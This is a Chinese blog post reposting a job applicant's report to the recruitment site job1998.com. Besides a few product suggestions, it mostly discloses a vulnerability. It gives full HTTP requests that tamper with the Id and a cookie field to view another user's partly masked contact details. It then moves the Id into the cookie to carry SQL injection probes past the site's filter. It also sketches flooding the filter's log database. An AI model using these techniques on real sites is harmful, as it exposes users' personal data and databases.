前几天去应聘易才网的项目经理,他们让我写一个对易才网的个人意见。本来不想写了,不过经不住那边催促,勉强写了一篇,大部分的篇幅是对一个隐藏得比较深的漏洞的描述,昨天看的时候他们已经改了程序(这不代表就没了漏洞),所以把报告贴出来:
总体来说,易才网结构合理,相应的电话确认用户身份的服务也很到位,我主要说几个问题,提几个建议。
问题一:冗余数据错乱
典型表现:http://augustsummer.blog.job1998.com/blog/index.asp
在该blog内的不同栏目里先后出现了 郭先生的个人空间 ,郭小姐的个人空间,郭川的个人空间 三个称谓。
(在我再次查看此blog的时候,这些错乱没有了,可能是你们已经改了)
问题二:安全问题
这是我着重说明的一个问题,表面上看易才网的安全性较高,但是还有问题:用我的用户名登录,预览简历 抓包:
GET /company/person_detail.asp?Id=204007 HTTP/1.1
Accept: */*
Referer: http://www.job1998.com/person/viewresume.asp
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: www.job1998.com
Connection: Keep-Alive
Cookie: ASPSESSIONIDCSDQCDRA=DPFINABANGMGAHOKCKFFOOJD; AimPage=http%3A%2F%2Fwww%2Ejob1998%2Ecom%2Fcn%2Fcompany%5Flist%2Easp%3FSearch%5FKey%3D%B4%F3%CF%F3%26Job%5FPlace%3D%25CC%25EC%25BD%25F2%26x%3D29%26y%3D7; BestIntroTjjob=Name=wolfeng&Hits=19&Person%5FEnterNum=7&Person%5FName=%CD%F5%B7%E5&Person%5FId=204007&Person%5FReg%5FId=204048
修改数据包的id值和cookie里的person_fid值为同一个值,即可进行欺骗,程序应该是通过判断这两个值得一致性来判断是否是写简历的人。修改后的包,如下:
GET /company/person_detail.asp?Id=204008 HTTP/1.1
Accept: */*
Referer: http://www.job1998.com/person/viewresume.asp
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: www.job1998.com
Connection: Keep-Alive
Cookie: ASPSESSIONIDCSDQCDRA=DPFINABANGMGAHOKCKFFOOJD; AimPage=http%3A%2F%2Fwww%2Ejob1998%2Ecom%2Fcn%2Fcompany%5Flist%2Easp%3FSearch%5FKey%3D%B4%F3%CF%F3%26Job%5FPlace%3D%25CC%25EC%25BD%25F2%26x%3D29%26y%3D7; BestIntroTjjob=Name=wolfeng&Hits=19&Person%5FEnterNum=7&Person%5FName=%CD%F5%B7%E5&Person%5FId=204008&Person%5FReg%5FId=204048
用nc 提交,即可得到204008用户的隐藏资料:
姓名:张*
现 住 址: 邮 编:
固定电话: 移动电话: 85533**8
小 灵 通: 022-85533**8
E - mail: breakh**d@163.com
个人主页:
扩展一下这个应用,我知道job1998使用了一个通用的防止sql注入的小程序,输入 http://www.job1998.com/company/person_detail.asp?Id=204007 and 1=1 会被截获,那么我是否可以把Id写到cookie里,修改后的包如下:
GET /company/person_detail.asp HTTP/1.1
Accept: */*
Referer: http://www.job1998.com/person/viewresume.asp
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: www.job1998.com
Connection: Keep-Alive
Cookie: ASPSESSIONIDCSDQCDRA=DPFINABANGMGAHOKCKFFOOJD; AimPage=http%3A%2F%2Fwww%2Ejob1998%2Ecom%2Fcn%2Fcompany%5Flist%2Easp%3FSearch%5FKey%3D%B4%F3%CF%F3%26Job%5FPlace%3D%25CC%25EC%25BD%25F2%26x%3D29%26y%3D7; BestIntroTjjob=Name=wolfeng&Hits=19&Person%5FEnterNum=7&Person%5FName=%CD%F5%B7%E5&Person%5FId=204008&Person%5FReg%5FId=204048;Id=204008
提交后,依然可以看到204008的详细信息,这说明我这个id放到cookie里是有作用的,说明job1998的程序里采用的是 request(“id”)而不是request. querystring(“id”)来获取id值,这样我的数据就能绕过那个通用防止sqlinjection的post和get验证了,继续构造,在cookie里添加注入探测:
GET /company/person_detail.asp HTTP/1.1
Accept: */*
Referer: http://www.job1998.com/person/viewresume.asp
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: www.job1998.com
Connection: Keep-Alive
Cookie: ASPSESSIONIDCSDQCDRA=DPFINABANGMGAHOKCKFFOOJD; AimPage=http%3A%2F%2Fwww%2Ejob1998%2Ecom%2Fcn%2Fcompany%5Flist%2Easp%3FSearch%5FKey%3D%B4%F3%CF%F3%26Job%5FPlace%3D%25CC%25EC%25BD%25F2%26x%3D29%26y%3D7; BestIntroTjjob=Name=wolfeng&Hits=19&Person%5FEnterNum=7&Person%5FName=%CD%F5%B7%E5&Person%5FId=204008&Person%5FReg%5FId=204048;Id=204008+and+1%3D1
返回正确信息,当然此时person_fid和id值不相等,不再会显示用户的电话等信息,但是这个不是重点,重点是可以注入了,为了小心起见,我又提交了一个数据包:
GET /company/person_detail.asp HTTP/1.1
Accept: */*
Referer: http://www.job1998.com/person/viewresume.asp
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: www.job1998.com
Connection: Keep-Alive
Cookie: ASPSESSIONIDCSDQCDRA=DPFINABANGMGAHOKCKFFOOJD; AimPage=http%3A%2F%2Fwww%2Ejob1998%2Ecom%2Fcn%2Fcompany%5Flist%2Easp%3FSearch%5FKey%3D%B4%F3%CF%F3%26Job%5FPlace%3D%25CC%25EC%25BD%25F2%26x%3D29%26y%3D7; BestIntroTjjob=Name=wolfeng&Hits=19&Person%5FEnterNum=7&Person%5FName=%CD%F5%B7%E5&Person%5FId=204008&Person%5FReg%5FId=204048;Id=204008+and+1%3D2
返回的页面是空信息,由上述说明,在cookie里可以构造任意的sql注入程序了,这样就绕过了那个防注入的检测程序,危险重来。
顺便说一下那个防注入的程序,我不知道你们在是否也默认把每次有非法信息的数据都存入数据库(这个小程序原来应该是这样的),但是我建议不要把非法的数据记录写入数据库,因为这样面临一个问题:我可以通过一个小程序,反复提交长度很大的非法信息,可能会很快会挤爆那个数据库。
建议一
增加企业用户的找回密码功能。
建议二
收费用户的域名可修改为比较简单简单的二级域名,比如augustsummer.blog.job1998.com 可修改为augustsummer.job1998.com,方便用户,可能易才网考虑到将来的自身业务的一个扩展问题,但是我认为只要限制用户的二级域名的前缀在四位以上就可以了。保留四位以内的泛域名足够了。